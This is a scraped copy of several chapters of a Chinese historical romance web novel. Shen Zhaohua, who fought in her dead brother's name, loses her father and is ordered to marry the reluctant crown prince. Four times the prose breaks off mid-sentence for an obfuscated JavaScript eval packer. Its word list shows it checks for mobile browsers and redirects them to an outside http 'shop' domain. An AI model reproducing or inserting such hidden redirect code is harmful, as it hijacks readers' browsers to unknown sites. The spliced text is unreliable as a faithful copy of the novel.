沈照华耸了耸肩：“没有，想从他嘴里知道点实话，难于上青天呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347541|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯。我不曾听闻顾介夫麾下有这样青年才俊，如果他只是为传信而来，安坐凤宁便是，何须屡入军营又偷渡桑台？但若不是顾氏幕僚，却能让顾介夫对我知而不报，此人身份定然不简单。” “他的身份确实是假冒的。而且他身上有一枚和田玉印，是皇室之物，他说是亡母遗物。” “皇室......”沈恪神色忽地凝重起来。 父女二人正交谈之际，门房匆匆来报，道是敕使降临。 敕使？新岭收复不足十日，圣旨便飘然而至，却是为何？ 沈照华连忙服侍沈恪穿戴官服赶去正堂听旨，不料敕使竟直接将圣旨递到了沈恪手上。 这次来的人不是官员，而是宫中内侍，而且身后还跟了位穿绿袍的太医。 “方才小人已经去军营宣过旨了，秦指挥他们说沈大将军已回了府上养病，我便一刻不停地赶来了。”敕使含笑说。 沈恪颔首应道：“老病残躯，岂敢劳动中贵人，真是惭愧。” “我都多少年不曾见大将军了，将军为国戍边十余年，乃国朝栋梁，虽鬓发微霜，但春秋鼎盛气度仍雄，大祁边事还指望着将军呢，千万要善自保养才是。” 沈恪听罢此语，略作思量：“中贵人谬赞。如今老臣病体难支，经此一役，更觉边事艰难繁重，深惧辜负浩荡天恩。” 敕使也没有立即回应，而是抬头随意一望，任由此话翩然落地。 “大将军这是说哪里话，收到凤宁新岭一连几次捷报，陛下高兴得了不得，又听说您近日身体有恙，催着赶着让我把太医带来给您诊治，这一路我们是半日也未敢耽搁。大将军一定好生调养，陛下还盼望着三军庆功之日，在京中与您叙旧呢！” 留下那份召三军功臣从速回京受封的圣旨，叮嘱完太医好生给沈恪看病，敕使便又飘然离去了。 沈恪便又回房来，展开圣旨，从头至尾，读了一遍又一遍。 可如今新岭初归，城防未修补，兵马正疲惫，岂是回京的好时候？ 沈照华方才在正堂屏风后目睹了整个经过，正要进屋与沈恪商谈，忽见徐仲明从厢房探出头来，向她招了招手。 沈照华会意走了过去。 “四娘，这事儿不妙啊。这回京的旨意来得也太快了，就算一天跑八百里，从京城到凤宁也得八九天，何况中官娇贵、太医老迈，最快也得二十几天才能到。” 徐仲明看四下无闲杂之人，于是低声道，“怕是新岭初战告捷时，圣旨就下来了。” 沈照华冷哼一声：“他们自然是心急，朝廷有些人怕是见不得我父亲掌兵守边，不然当时也不会降下申饬来。” “世叔什么打算？立刻拔营回京么？” “那还能如何，早早回去做富贵闲人，两相安稳。” 如今想来，沈恪对朝廷鸟尽弓藏之心早有预料，不然当日也不会跟她说要致仕回乡一事。 “可世叔如今这状况，哪里受得住连日颠簸？”徐仲明始终不放心沈恪的身体。 他说得不错，沈恪这身子确实扛不起一点劳累了。 “可沈家也受不住抗旨之罪。”沈照华眸光渐渐黯淡了下去，想沈家一门三代为国尽忠，如今被逼速决，又被催回京，她感到不值。 “那你兄长的事怎么交代？你这次以颂华的身份带兵收城，可谓居功至伟，难不成真要上明堂面圣？” 沈照华心中咯噔一下。 是啊，她应该何去何从呢？ 是抓紧宣布兄长的死讯，还是别作良图呢...... 11. 将星陨落 对于接下来的路该怎么走，沈照华不是没有想过，而是没敢深想。 她自打退婚远走边关，也偶尔幻想过有朝一日会封狼居胥、明堂拜将，以女子之身扛起沈家军旗，与兄长一道，成为国朝一代干城。毕竟人生在世，不能没点目标。 但理想终究是高悬于天际之物，现实横于面前的，是冷冰冰的三纲五常、三从四德。别说效仿男子建功立业了，就连当年她退婚，都不知挨了多少唾沫星子与白眼，说她连蒋家那样的门第都看不上，简直是不识抬举。 而且她这次是代兄为将，欺君铡刀已经扛在后颈了，接下来的路窄得如同天堑吊桥。 要么宣布沈颂华伤重而亡，沈照华回去再议婚姻相夫教子；要么以沈颂华的名义活下去。 显然，对于她来说，这两条路无异于吞金而亡和饮鸩止渴，前者憋闷而死，后者注定纸包不住火，哪怕是有军功抵一部分罪，流放千里总是逃不了的。 深想下去，只有一条结论，她根本没有退路。 沈照华沉思半日，反倒笑了：“明二哥，别逼我做决定了，走一步看一步吧。” 徐仲明一旁幽幽叹息：“总归有挥刀决断的那一日，拖到什么时候是个头？” 沈照华没有睬他，也没有心情再去见沈恪，转头回了房间将门一锁，上床睡起觉来。 边关烽火已熄，而风雨未止，千里之外的京师皇城，亦风云会聚。 自太子陈致化名程致，奉圣命扮做顾总兵麾下参军远赴凤宁暗中监视沈家动向，到如今重回京城，已逾两月光景。 从冻水初融的孟春到落玉飞花的暮春，经千里辗转后，他又身着朱袍玉带，复跪伏于天子御案之前。 “此番仰赖皇恩庇佑，新岭失而复得，北临遣使纳贡，臣闻讯喜不自胜，特星夜赶回为陛下贺，为大祁江山社稷贺！” 皇帝陈业垂眸看着许久未见的儿子，边翻着他从边关呈送回宫的最后一道密折边道： “自是上上喜讯，当天地同贺。太子此出玉门，不知有何长进？” 陈致略作思考，恭谨答道：“回陛下，臣此行山迢路远，屡过偏城，又途经受灾卫郡，目睹民殇，深体民生之艰、稼穑之难，也更觉前路任重而道远，而愧自己德薄而才疏。” 陈业的目光停在密折之上，并未抬起：“能勤于自省，知己不足，倒是不小的长进。不过你既途经卫郡，那里灾情如何？” “卫郡此遭春冻，确实凋敝，麦苗枯白，百姓哀戚。不过陆侍郎亲赴卫郡巡视赈灾情况，一应粮米赈济、救苗补种等事宜都办得有条不紊，偶有富户以高利出贷农具，也都被压制。臣回来时，卫郡灾情已有回转之象。” “果真如此，倒是好事。”陈业将密折归于匣内，徐徐言道，“看来这次李敬端让陆韬去盯着，是选对人了。” 听到陈业提及李敬端与陆韬，陈致默默一顿。这两人一为当权宠臣，一为贤妃亲兄，与陈业关系匪浅，不可擅议，于是掂掇了片时后答道： “李相与陆侍郎身为陛下臣子，为君分忧，焉敢不尽心竭力？而且臣此行所到之处，无不称颂圣天子仁人爱物，感念陛下于太平中休养民生，于天灾时拯救黎庶，臣为子为臣，与有荣焉。” 陈业听罢笑道：“朕看最有长进的，是你这张嘴！听顾介夫说，你这次参军的差使办得不错，交代钱粮、调送援军，都做得有模有样的。大祁建国以来不许储君离京，但依朕看，出去闯荡闯荡长些见识，总没什么亏吃。” 陈致暗暗松了口气，再次拜谢：“此番臣蒙圣恩允准秘密出京历练，昼夜不敢懈怠，唯恐辜负陛下一片圣明慈爱之心，今后更当律己修德，不让陛下失望。” “如此甚好。你一路奔波也劳累了，朕便不多拘你在此了，明德宫那儿你不必去了，还是回东宫歇息吧。七日后下朝，你来政事堂，议论沈家封赏事。” “此乃军政之事，臣不敢干预。”陈致小心答道。 陈业坐于龙椅，将身子向后一靠，说道：“无妨，届时旁立听议便是，又不叫你拿主意。” “臣谨遵圣命。” 陈致从勤德殿出来后，对着宽阔御苑在阶前暗自舒一口气。 好在没提他涉足战事甚至还亲自打仗之事，不然他有口难辩。如今总算度过一关。 一直守在殿门外的东宫少监唐近元忙跟了上来，满脸担忧地问道：“殿下，陛下没说什么吧？” 陈致边下阶，边微微晃了晃手：“没有，希望他是真的不知道。去着人把放在明德宫的行李衣物搬出来，为母后祈福结束，咱们也该回去了。” 陈致此次微服出京正值母丧十周年，为掩人耳目，对外说太子暂时搬居中宫明德宫，为生母庄懿皇后日夜诵经祝祷。 如今使命已毕，是时候回到东宫，从一个七品参军，做回国之储副了。 出大内回东宫的路上，坐在宝马轺车之上的陈致不时揭帘望望这御苑风光，雕阁绮户，金水玉路，一道道朱门高挂御匾，一重重庭院柳没花深。 二十三年来他生于斯长于斯，虽觉无趣，但从未觉得哪里不对。可他见过了落日低悬时的瀚海阑干，见过了猎猎冷风中的金戈铁马，竟觉得这静谧的高墙长街之内，有几分单调与憋闷。 但他知道，这是他一生要走的路。自那日饮尽别酒，他们都需走上各自的路。 七日后风雨如晦，政事堂中一众台阁重臣、清议文臣对如何封赏功勋卓著的沈家展开了激烈的议论。 与此同时，在从凤宁回京的路上，沈照华连日照看着病榻上疲惫虚弱的父亲，已多日不曾成眠。 自那敕使走后，沈恪坚持要立即启程，不能授人以柄，说沈家居功自傲，藐视圣命。 但是沈恪的身体已然经不住旅途风日颠簸，虽经太医用药调理，仍然咳喘剧烈不见好转，近两日又有急转直下之势。 这日暂停沿途馆驿，沈照华在客房侧室同太医一起煎药。 她一面扇着药炉的火，一面道：“曹太医，您透个底，我父亲这病到底能不能好？怎么这几日更严重了？” 曹太医正在一旁拾掇着药材，这几日她已经这样质问他好几次了。 “少将军，沈侯爷这病最忌劳累，若照这样日行百里地折腾下去，老朽也不敢说。” “是圣旨召我们速回，也是圣旨叫您老来医治，您治不好，难道是想说陛下故意不让我父亲痊愈吗？” 屡次听他如此搪塞，沈照华已经没有耐心跟他曲辞婉示了。 曹太医一身冷汗差点没吓出来： “少将军，您说这话是要置老朽于死地啊！医者已经尽力，您何必要人脑袋呢？” 沈照华斜着瞥了他一眼。若不是徐仲明要先回宿城收拾行装再行赶上，她才不乐意叫朝廷派来的人医治。 他们这样逼沈家，简直没有一个好人！ 药烟氤氲飘上梁顶，沈照华偷偷看向太医的眼神，又增了几分杀气。 午后，沈恪渐渐从迷蒙之中醒来，似是精神好些。 他把沈照华叫到榻前，徐徐叮嘱： “因为朝廷传召得急，你心疼爹爹，心里有气，我知道。但这几日你对那太医的态度，也太过冷漠，这不好。” 沈照华一急，就要反驳，可沈恪止住了她： “他只是听命行事，何必为难他。而且朝廷也不是一个人的朝廷， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347542|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少人都在盯着同一桩事。朝事错综复杂，人心各有计较，不能以善恶对错论之，只是立场不同罢了。之前你可以不懂，但以后，你要学着懂些。” 虽不知沈恪为什么突然跟她说上这许多道理，但沈照华仍点应着：“我知道，世事不是非黑即白。” 道理她都懂，但事情落到自己头上时，又有几人能无怨？ 听她应着，沈恪灰黄的脸上终于露出淡淡的笑意：“如今边事已平，我也是死得其所，上不负天，下不愧民，再没什么不满的，你也不用动气。” 沈照华听到一个死字，抑制不住地着急起来：“您胡说什么呢，明二哥之前说了，那个太医的方子是有水平的，悉心调理会好的！” 沈恪轻轻摇了摇头：“死生固是大事，但早晚都会有这一日。只是你娘和哥哥走得太早了，如今我又撒手人寰，留下你和舒华两个女儿，我始终放心不下…” 沈恪又剧烈地咳起来，脸涨得通红，但仍坚持说下去，“你是姐姐，要照顾好妹妹...记住，无论何种境地，保全自身为重……” 咳喘声惊动了侧间，馆驿的仆人将药连忙端来，沈照华一面答应着沈恪，一面忍着泪亲侍汤药，直到沈恪再慢慢睡去。 其实，她每次服侍沈恪吃药的时候都想着，这一剂药吃下去一定能好，她已经失去了母亲，失去了兄长，上天不会让她再失去父亲的。 沈家三代为国尽忠，祖父官至中书，一生勤勉谨慎，伯父赈灾过劳，卒于湖广任上，父亲半生戎马，戍守边关毫无私念，而兄长...... 她坚信，苍天有眼。 可天若有情，天亦老。 多日医治，药石罔效，在太医一声沉重的叹息中，大祁甘定总督、靖远大将军、武宁侯沈恪，于他乡与世长辞。 原本喜气洋洋班师回朝的大军，在行至半途时，就变成了护灵举哀的队伍。 浩浩荡荡，十里大军，尽为大祁一代名将的陨落而哀泣。 沈恪遗命，他死后，大小将士不得挂孝，只遣一子扶灵，让他魂归故里。 当日沈照华不愿回归红妆，仍坚持以兄长名义陪沈恪入朝觐见，沈恪本不同意，但还没来得及拗过沈照华，他便溘然长逝。 六月初暑，白幡素布，人间从此无来处。 沈照华护送父亲灵柩回返临安，伴着这一路颠簸，她几乎无时不想起父母兄长在世时的音容笑貌。 抬头看日，会想起兄长教她观日辨位；低头看路，会想起父亲谈人生之路的艰难；听到风声，会想起母亲带她放风筝的快乐...... 有时她哭累了，会故意在馆驿睡到很晚才起，因为在梦里，她或因为动不动就哭鼻子而被批评，或在准备年夜饭时偷吃母亲提前做好的糕点。 至少在梦里，她还不是孤身一人。 父亲下葬时，她已经哭不出来了，她只觉得过往与眼前的一切，像一场醒不过来的幻梦。 她真的曾在母丧三年后，孤身打马入边塞么？ 她真的曾沐浴着凤宁城的晨曦与落晖，常常眺望苍茫的远山么？ 她真的曾在营帐校场，听父兄教给她阵法兵计么？ 她也真的曾在今年春日毫无顾忌地冲入军营，一日日枕戈待旦，一次次沙场浴血么…… 记忆里边地刺骨的寒风、不化的霜雪，灵堂里名号长长的牌位、哀泣的亲友——都在她的眼中模糊了。 不久后，满目白帷的临安沈宅迎来了一道圣旨。全家上下庭前跪接，神情肃穆。 那天来宣旨的大臣对着那明黄敕诏朗声宣读了很久，可她恍惚间只听清了一句话： “册封沈氏为皇太子妃。” 12. 受聘天家 宣旨敕使走后，本来因居丧守孝而冷清静默了近月的沈宅瞬间炸开了锅。 被封太子妃，结亲天家成为风光无限的国戚，子弟沾光门楣显贵，这是多少官宦人家做梦都不敢想的福分。 沈家人没有一个笑逐颜开，而是被这份恩旨震得有些不知所措。 “太子妃？之前朝里商议着要册姜家的女儿啊，怎么到咱们家了？” “顶着热孝便赐了婚，这婚怎么成啊？” “四娘之前才替大哥接了袭爵的旨意，那什么时候宣布大哥的死讯啊？” “……” 沈宅门檐上为沈恪指引回家之路的白灯高高悬挂，在暑风的吹动下微微晃荡。 堂内，沈老夫人正坐在椅上垂眸沉思，沈恪继室周氏将圣旨卷好供于堂前几案之上。 “母亲，这旨意都下了，咱们家除了奉旨备婚，也没什么别的法子了。”周氏道。 “他们真是要把咱们家吃干抹净才肯罢休啊。”沈老夫人重重叹息道，“儿子孙子的命都给了他们还不够，还要我孙女去帮他们收拾烂摊子！那天家妇岂是好做的？” “朝中李党势大，如今侯爷去了，甘定两省兵权到了顾家手中，又听说顾家公子跟李党的人过从甚密。如果不用这桩婚事帮太子拉拢沈家旧部，李党一枝独秀时，可就是大麻烦了。”周氏缓缓答道。 “他们如意算盘打得响亮，倒可怜我孙女去深宫里给人做后娘！” 周氏敛了眉目，没有作声。 沈老夫人看了她一眼又道，“你不要多心，那宫里跟咱们家是一回事吗？那先太子妃冯氏早生了嫡长子，以后不管我照儿生的男孩儿女孩儿，都要给人做臣子处处矮人家一头的，这正妃做着岂不憋屈。” “母亲的意思，媳妇明白。我只是替四姐儿担忧罢了，四姐儿自小心气儿就高，要强又不惯拘束的，怕她受不了宫里的日子。” 沈老夫人偏过头看了看那案上的圣旨，阖眸许久不语。 天家无情，任长城名将殒于旅途他乡；圣主不仁，教功臣儿女囚入深宫高墙。 一直在门外听着她们议论的沈照华，本要进去说话，可脚才向前挪了半步，又硬生生退了回去，转头入二门向她的卧房走去。 她不想结这门亲事，可如今家里失了顶梁柱，已经够乱的了，不能再添乱了。 沈舒华在院子里看到沈照华沉着脸从月洞门前匆匆而过，便把她叫住。 沈照华虽离家多年，但舒华自小便黏她这个姐姐，近年来姐妹间亦常通家信，所以感情一直很好。见到沈照华如此愁眉深锁，她也十分担忧。 “怎么了？”沈照华走过去，可声气并不好。 沈舒华看到她这副烦恼模样，心下也猜得一二：“四姐不想嫁去东宫，是不是？” 东宫？就是皇帝老子的皇宫、天王老子的玉清宫，她也不愿去。 “不然说我身染恶疾，辞了这婚罢了，反正我也不是第一次退婚了，也不在乎什么名声不名声的。”沈照华把方才想对祖母和继母说的主意说给了舒华。 “四姐你可真敢想，万一宫里传了太医来呢？” “那就说我死了。” “......那之后呢？” 之后，托人办个假户籍，随便去哪个偏僻小城藏身？或者去庙里做姑子？ 那岂不越来越离谱了。这都不是她想要的日子。 沈照华沉默了，这次靖边之战证明了她明明可以像男子一样建功立业，但她真正想要的这种既不深藏于高门宫苑依附他人、又能名正言顺做一番事业的人生，简直是天方夜谭吧。 难道她要怀抱着幻梦过一辈子吗？可是这幻梦如此令人难以放下。 但是要她去嫁给一个像供奉在神龛里的神像一般高不可攀，又与他素昧平生的人，去做他百依百顺的臣子和妻子...... 沈照华浑身起了一层鸡皮疙瘩。 这是如此令人战栗。 抛却所有一时涌上心头的任性与幼稚，她抬头望着舒华庭院里悬挂着的白灯与白帘，知道自己退无可退。 不过，她真的要做朝廷平衡朝局的棋子，去成为那华美金笼之内的一只鸟雀吗？这难道就是她的命？ 京城皇宫，勤德殿暖阁内。 “上谕都明诏天下了，你现在还跟朕说，你不想娶沈家女儿？” 坐榻棋案旁，一枚本要落子的黑玉棋子被陈业收回，慢捻在指腹之中。他看向陈致的眼神有几分审视的笑意，这是他向来听话的儿子，第二次因为迎娶沈家之女的事当面抗旨。 “沈将军新丧，臣不忍娶热孝中人。而且沈家靖边有功，之前政事堂群议要为沈将军晋爵，为沈家长子加官，本已堪抚慰功臣，实不必再赐天家姻亲。” 陈致立在榻侧躬身禀奏，神色一派恭谨。 他知道，一旦应下这门婚事，二十余年来修学观政低调守身的安稳日子将不复存在，他会被推入风浪漩涡之中，步履维艰。 “上次你跟朕说，沈恪虽已身故，但门生旧部仍存，你身为储副，不敢娶封疆重吏之女而沾企望兵权之嫌，如今又用孝字来让朕收回成命，怎么，朕给你娶个媳妇，就让你做了不忠不义之人了？” “臣并非此意，只是沈家才失梁柱，便要成为国戚卷入纷争，想来陛下亦不忍睹闻；而且，高门贵女何其多，臣要续弦也并非沈氏一人。” 陈致所说俱出自真心，如今尚书令李敬端与陆贤妃为裙带，有暗暗扶植贤妃之子梁王陈敏之意，若此时他迎娶沈氏壮大党羽，与高揭抗李大旗又有何异？今朝他根基未深，沈家又乍失主人，实非抗衡之期。 “二哥儿，知子莫若父。” 陈致为庄懿皇后所出嫡长子，亦是陈业第二子，陈业鲜见地唤了一声他的齿序，幽幽言道，“你的顾虑朕岂不知，只是，你铁了心要抗旨不成？” 棋子轻叩棋案，有节奏地敲出一下下轻响。榻脚旁金猊里的沉水香袅袅缭绕，无声地暗示着天威难测。 陈致连忙下跪，犹豫了片时，终是言道：“臣不敢。” 抗旨之罪，纵使一国储君，也担待不起。一股冷泉霎时流过他的心底，君要臣死，臣不得不死，父要子冲锋陷阵，他纵使再想明哲保身，怕也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351903|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法苟且偷安。 棋盘上，陈业将手中的黑子无声落下。 “不用忙着下跪，起来吧。作为父亲，朕可以不给你和沈氏做这个媒。”陈业话音一顿，声音冷上两分，“但作为君王，朕需要太子迎娶沈氏。” “臣，明白。”陈致虽起了身，但声音懈了几分力气，他知道此时自己只能认命。 陈业忽地发出了轻笑，他看着陈致说道：“二哥儿，朕是该说你聪明还是糊涂啊？说你糊涂，你倒也算听劝；可你若真什么都算得明白，在凤宁城下，又何必舍了性命不要冲入北临敌阵呢？” 果然没瞒过他。陈致从头到脚瞬间冻住了。 以身犯险，其罪一；欺瞒君上，其罪二；插手军政，其罪三；勾结边将，其罪四。 他在心里已经把罪名都给自己罗列清楚了。 还不等认罪，他耳畔又响起陈业的笑声：“不过没想到朕的二哥儿上阵杀敌也有一手啊，之前朕一直以为你文弱，看来是朕有眼不识金镶玉了。不过以后续了新妇，这种以身涉险的事再不要做了，如今你也是上有老下有小的人，别叫家里人担心。” “是。”陈致的声音是一种劫后余生的虚缓。 轻步告退，离却这沉水香氤氲的暖阁，他紧绷的神经渐渐放松了下来。 帝王薄情，天家无父子，一贯如此。只是他没敢想到，自己冲入阵中之事，竟然被陛下用来威胁他要遵旨行事，不要妄图脱离掌控。 他望着七月里云低霞染的天际，不禁喉咙里哼出一声薄笑。 唐近元方才在暖阁门外等候，吓出的一脑门子汗还未曾褪下，一边拿袖子揩着，一边忙跟了上来：“殿下，您说您当时何必冒这个险，果真被陛下拿住了，这不管什么时候都是个把柄啊。” “事已至此，后悔何为？” 他心里总还想着，陈业毕竟是他父亲，再怎么样，也不会轻易因为这事把自己置于绝境的。 而且他最近虽担忧此事，但从未后悔。他也不知道为什么，做错了事竟然没有丝毫悔意。 陈致不想娶沈氏之女，还有另外一重私心里的顾虑，陈业这次明摆着是把沈家做了棋子推上风口浪尖，让沈家女来做自己的继室，待来日与久别未见的沈兄重逢，他又以何面目对待？ 不过......陈致连忙晃晃脑袋，想把沈兄这两个字从脑海中晃走。 自桑台别后，也不知是怎么了，他的眼前竟时不时浮出沈兄的一颦一笑，虽然也曾觉得他貌若好女肌骨单薄不似男子，但他干净利落的身手、长枪杀敌的本领岂是女子可有？ 既是男子，便更不该想，堂堂一国太子，绝不能让任何一丝不该有的念头萌芽心头。 于是他忙吩咐道：“近元，我今晚去林良娣阁中歇息，一会儿叫人去知会一声。” 红墙长街之下，陈致再次走上回往东宫的路，精神却似振奋了些。 他知道自己已退无可退，既然婚事已定，那便好好筹备；既然宝剑已磨，何惧出鞘一试。 大祁山河之中，南临安，北皇城，相隔千里，却一线相牵，亦越来越近。 13. 夺情成礼（1） 时近九月，南方溽暑的闷热蒸腾之气渐渐消歇，早晚偶尔一两阵微凉的秋风袭来，让人觉得神清气爽。 沈照华立在院中一树开了朵儿的金观音旁，将鼻子凑近吮吸着沁人心脾的清香，眉头渐渐舒展开来。 这是沈恪最后一次去凤宁戍边前亲手栽下的。如今父亲去世已近百日，这桂花儿却依旧开得热烈。物是人非四字浮上她的心头，她眼眶不禁一酸。 “小姐，这些书还带去京城吗？”沈照华的贴身女使玉泉抱了一摞书从房中出来问道。 上京之期在即，最近沈家都在忙着收拾行李，准备赴京城武宁侯府预备婚事。 沈照华转过头看去，原来是幼时父亲教她习学兵法的书籍。她伸手轻轻翻了几下，泛黄的书页发出唰啦脆响，但文字依然清晰可见。 “带去吧。”她轻声说。 玉泉虽是女使，但她是沈家的家生子，自幼长在沈老夫人身边，跟着学了不少字，八岁时被指来服侍沈照华。沈照华退婚远走后，又回了老夫人院中，一直做贴身女使养着，长了不少见识。 她自然是识得这书中内容的，于是有些不解道：“这些书以后也没什么用了，还怪沉的，带着做什么？” 玉泉不知其中缘由，沈照华也不反驳，只是说道：“留个念想。” 玉泉见她如此坚持，于是将它小心装入箱箧。 又想起今早收拾衣物时发现的一个小荷包，便从袖中拿出：“小姐，这荷包里的印章，看着不像咱们家能用的东西，也带走吗？” 提起印章，沈照华的心有几分胀痛。 接到册封旨意那天夜里，她亲手将玉印荷包锁入衣柜角落。 她本以为眼不见，心为净，说不想也便不想了，可是赠印之人的音容还是会不时闯入她的梦境。 她还在孝期，又即将成为天家妇，梦里竟然都是其他男子为自己剪下沾血残袖、月夜下溪边漫步、在悬崖上拼死相护的场景，这段日子里，她不知骂了自己多少遍不忠不孝。 虽然沈家的忠尽得已经够多了，并不缺她这一份，可她既已决心肩负家族使命奉旨成婚，就把无用的前尘都忘了吧。 她那时还不知感情是不能被理智压制的，人都会有七情六欲。 她没有去接过玉印，在心里早已为那玉印想好了归处：“带着，到京里再托人还给旧主。” 还给他，顺便结束这场他连自己是女子都不知道，只有自己还在贪恋的荒诞梦。 玉泉鲜少见自家小姐如此淡漠模样，但小姐近来时常心绪不好，就连练字，一幅字练到最后，笔画也总是比开头要潦草敷衍许多，于是也不敢多问，只是默默将荷包一齐放入箱箧，和贴身之物分开。 院门外响起一阵急促的脚步声。 二门廊下的女使过来传话：“四小姐，徐家二哥儿来了，要见您！” “我这便去，让他稍等。” 徐仲明在廊下抱着木匣子倚着栏杆坐了，看到一身素衣的沈照华从院子里绕转过来，便忙冲她招了招手。 好好的一个医术超群风度翩翩的佳公子，见到沈照华，便常是一副活泼模样，许是自幼有交情的缘故，彼此见面，谁也不端着。 “明二哥，你来给我送行吗？”近日来，沈照华为数不多地露出了笑容。 “嗯，送你几个香包儿，有驱蚊的，安神的，解郁的......好几个呢，我都做了标记，你没事时带着玩吧。”徐仲明含笑把木匣子推到她手边。 “谢啦。”沈照华接过木匣，又想到他那天说的造化弄人之语，莫名有些心中酸涩，“之前我还跟你说，谁也做不了我的主呢，如今也算认命了。” 徐仲明摆出了一副看破红尘的模样：“不至于此，此身天地一虚舟，何处江山不自由？沙场的刀光剑影你都不怕，还怕那京城的凤阁龙楼么？你到哪儿，哪儿就是最好的地方，振作些。” 沈照华笑嗔着拍了他手臂一下，就和小时候一样。 “就属你歪理多。” 徐仲明要躲开她的打，结果没躲过，还是倒霉地挨了一下。 他看了看四下，见除了一般的洒扫婆子外并无旁人，又道：“最近正值多事之秋，有件疑事我便没跟你说，如今你上京在即，我也顾不得了——” 他神色甚是严肃，看来兹事体大。 他拿眼瞄着四周，继续压低了声音附耳道：“按照我诊的脉，纵使情况再差，沈世叔也不至捱不到入京。” “你什么意思？”沈照华眼前的天地都震荡了一瞬。 徐仲明连忙叫她低声：“曹太医开的方子我看了，配得恰当，善加调养不至如此。除了路途颠簸，沈世叔可有感风寒？素日吃用可有异常？” “没有啊！我一样样都当着心呢！” 徐仲明阖了眼用气叹出四个字来：“这事不妙。” “我在宿城出诊时，那总兵府方都司的病来得就甚是奇怪。据他夫人说，他是跟罗城一个姓陆的官员吃了顿酒，回来没几日就闹不舒坦，之后用药无效，匆匆就去了。不知是否有什么关联啊。” “姓陆？！” 沈照华猛地想起大刑审问北临俘将都洵时，他扛不住刑招供说，那承瑞似乎便姓陆，只是他也是偶然听闻，并不确定。 当时她陷于攻城难关，未曾理会；后沈恪身故，她一时寒心，便将这所有朝事线索都抛之脑后，什么方都司、承瑞、陆氏，快窝里斗去吧，将朝廷掀翻了与她何干。 不过如今看来，他们不只把前线战事搅了进去，把父亲的命也玩弄于股掌之间？ 禽兽不如，人神共愤。 “我虽不确定世叔之事是否一定与此有关，但总觉得水甚深。你此去东宫，务必万事小心啊。” 一股刺骨冷气罩在她的周身，沈照华僵硬地答了个“嗯”字。 她心内却沸火翻腾，竟敢犯到她家头上，还谋害人命，当沈家人软弱可欺没有脾气么！？ 以至于她都没有格外注意徐仲明之后的话，他说来年开春他也要入京去，祖父即将致仕，他要去太医院接班了。 辞别徐仲明后，上京的日子近在眼前。 自沈老太公去世后，沈家众人便搬回了临安老宅居住，多年不曾如此远行。行前沈老夫人特意去妙祥寺烧香拜佛，祈求一路平安，并让佛祖保佑孙女姻缘美满。 其实不全家入京，单让朝廷派亲迎使南下迎接太子妃亦是常例，但沈老夫人和周氏怕有人认为沈照华在家中不受重视，受了气没人撑腰，于是坚持要一齐上京去，只留沈照华的堂兄在老宅为沈恪守孝。 为亡人守丧固然重要，但还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359403|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是得多为了活着的人，向前看。 打点好行装，一行人便拖家带口地在城北码头上了船，走水路直奔京城。 沈舒华如常跟在沈照华身后叽叽喳喳地说个不停，说她是第一次坐这么大的船，走这么远的路，也不知道女使会不会记得喂她那只鹦鹉，教了很久才会学两句人话，可别饿死了等等。 十四岁的年纪，真好。 一只会说人话的鹦鹉，就可以让她这么快乐。 可沈照华心头还盘旋着许多事。 江宽水阔处，船帆凭风升起，迎着湿润江风，她一遍遍想着徐仲明那天的密语，还有凤宁与桑台的种种。 眼前江阔秋高表里澄澈，她不知前路到底是继续风平浪静，还是风卷浪涌。 “四姐儿。” 沈老夫人从船舱里出来，亲自唤她进去。 “此去京城，可害怕么？”祖孙两人入了舱内，并坐闲话。 “这有什么好怕的，管他是天家还是寻常官家，不都是过日子吗。” 沈照华说着，那云淡风轻的模样，连她自己都要信了。 沈老夫人知道孙女的脾性，不管心里什么样，嘴上总是硬得很。 于是只一笑：“对，既是过日子，就不要委屈了自己。天家虽尊贵，但咱们家也不欠他们什么，你是有底气的。” “那肯定的，您还不知道我吗，到哪都不会受欺负的，只有我欺负别人的份儿。” 沈老夫人着实笑了一阵：“要是去别家，你欺负也就欺负了，闹得不可开交了，回家就是，他们也不敢说半句不好听的。” 